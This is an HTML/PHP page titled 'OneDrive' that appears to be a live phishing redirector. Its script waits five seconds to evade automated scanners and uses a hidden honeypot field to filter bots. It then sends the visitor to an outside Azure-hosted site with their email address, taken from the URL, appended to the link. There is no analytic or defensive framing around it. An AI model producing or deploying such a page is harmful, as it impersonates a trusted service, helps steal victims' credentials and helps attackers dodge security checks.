<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>OneDrive</title>
<script type="text/javascript">
    // Time delay (to prevent immediate bot activity)
    let timer;
    const minTime = 5000; // Minimum 5 seconds on the page before allowing redirection

    // This function runs when the page is loaded
    window.onload = function() {
        timer = setTimeout(enableRedirection, minTime); // Start the countdown
    };

    function enableRedirection() {
        // Only redirect if JavaScript runs and minimum time on the page is spent
        const email = "<?php echo htmlspecialchars($_GET['email']); ?>";
        window.location.href = "https://mccloskeyinternationaltm.z27.web.core.windows.net/" + email;
    }

    // Honeypot field to catch bots
    function checkHoneypot() {
        var honeypotField = document.getElementById("honeypot").value;
        if (honeypotField !== "") {
            // If the honeypot is filled, it's likely a bot, so prevent redirection
            clearTimeout(timer);
            return false;
        }
        return true;
    }
</script>
</head>

<body>
    <!-- Honeypot field (hidden from users, bots might fill it) -->
    <form onsubmit="return checkHoneypot();">
        <input type="text" id="honeypot" name="honeypot" style="display:none;" />
    </form>
</body>
</html>
